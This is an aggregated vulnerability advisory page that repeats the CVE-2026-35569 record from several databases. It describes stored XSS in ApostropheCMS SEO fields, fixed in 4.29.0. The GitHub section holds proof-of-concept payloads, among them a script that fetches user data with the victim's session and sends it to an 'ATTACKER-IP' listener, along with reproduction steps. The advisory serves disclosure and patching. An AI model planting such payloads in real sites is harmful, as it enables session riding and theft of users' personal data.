ApostropheCMS: Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS

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No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain a stored cross-site scripting vulnerability in SEO-related fields (SEO Title and Meta Description), where user-controlled input is rendered without proper output encoding into HTML contexts including <title> tags, <meta> attributes, and JSON-LD structured data. An attacker can inject a payload such as "></title><script>alert(1)</script> to break out of the intended HTML context and execute arbitrary JavaScript in the browser of any authenticated user who views the affected page. This can be leveraged to perform authenticated API requests, access sensitive data such as usernames, email addresses, and roles via internal APIs, and exfiltrate it to an attacker-controlled server. This issue has been fixed in version 4.29.0.

Source published

15 Apr 2026 19:34:23 UTC

Source modified

14 May 2026 16:07:20 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 8.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain a stored cross-site scripting vulnerability in SEO-related fields (SEO Title and Meta Description), where user-controlled input is rendered without proper output encoding into HTML contexts including <title> tags, <meta> attributes, and JSON-LD structured data. An attacker can inject a payload such as "></title><script>alert(1)</script> to break out of the intended HTML context and execute arbitrary JavaScript in the browser of any authenticated user who views the affected page. This can be leveraged to perform authenticated API requests, access sensitive data such as usernames, email addresses, and roles via internal APIs, and exfiltrate it to an attacker-controlled server. This issue has been fixed in version 4.29.0.

Source published

Apr 15, 2026, 7:34:23 PM (timezone not stated)

Source modified

May 14, 2026, 4:07:20 PM (timezone not stated)

Observed here

30 Oct 2026 22:48:44 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 8.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain a stored cross-site scripting vulnerability in SEO-related fields (SEO Title and Meta Description), where user-controlled input is rendered without proper output encoding into HTML contexts including <title> tags, <meta> attributes, and JSON-LD structured data. An attacker can inject a payload such as "></title><script>alert(1)</script> to break out of the intended HTML context and execute arbitrary JavaScript in the browser of any authenticated user who views the affected page. This can be leveraged to perform authenticated API requests, access sensitive data such as usernames, email addresses, and roles via internal APIs, and exfiltrate it to an attacker-controlled server. This issue has been fixed in version 4.29.0.

Source published

15 Apr 2026 20:16:36 UTC

Source modified

26 Oct 2026 22:10:00 UTC

Observed here

27 Oct 2026 09:03:12 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 8.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

## Summary A stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS. Improper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality. ## Affected Version ApostropheCMS (tested on version: v4.28.0) ## Vulnerability Details User-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as: - `<title>` - `<meta>` attributes - structured data (JSON-LD) This allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users. ## PoC 1 **The following payload demonstrates breaking out of HTML context:** ```javascript "></title><script>alert(1)</script> ``` This confirms: - Improper output encoding - Ability to escape `<title> / <meta>` contexts - Arbitrary script execution ## PoC 2 **This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data.** ```javascript "></title><script> fetch('/api/v1/@apostrophecms/user', { credentials:'include' }) .then(r=>r.text()) .then(d=>{ fetch('http://ATTACKER-IP:5656/?data='+btoa(d)) }) </script> ``` ## Video Proof of Concept Watch the following YouTube video for a full demonstration of the exploit: **PoC Video:** https://youtu.be/FZuulua_pa8 ## Steps to Reproduce 1. Start a local listener: `python3 -m http.server 5656` 2. Login to ApostropheCMS as an authenticated user 3. Create or edit a page 4. Navigate to SEO settings 5. Insert the payload into the SEO Title field and Meta Description ```javascript "></title><script> fetch('/api/v1/@apostrophecms/user',{ credentials:'include' }) .then(r=>r.text()) .then(d=>{ fetch('http://ATTACKER-IP:5656/?data='+btoa(d)) }) </script> ``` 6. Set **Schema Type** to "Web page" 7. Save and publish the page 8. Have an administrator visit the page ## Result - The payload executes in the admin’s browser - The script sends a request to: `/api/v1/@apostrophecms/user` - The response contains sensitive user data: - usernames - email addresses - roles (including admin) - The data is exfiltrated to the attacker-controlled server: - `http://ATTACKER-IP:5656` ## Evidence - The attacker server receives: - `GET /?data=BASE64_ENCODED_RESPONSE` - Decoding the response reveals sensitive application data. ## Security Impact This vulnerability allows an attacker to: - Execute arbitrary JavaScript in an authenticated admin context - Perform authenticated API requests (session riding) - Access sensitive application data via internal APIs - Exfiltrate sensitive data to an external attacker-controlled server ## References - Fix commit: https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3 - https://www.cve.org/CVERecord?id=CVE-2026-35569 - https://nvd.nist.gov/vuln/detail/CVE-2026-35569 - https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569

Source published

16 Apr 2026 20:44:18 UTC

Source modified

5 May 2026 16:04:04 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Publisher rating · HIGH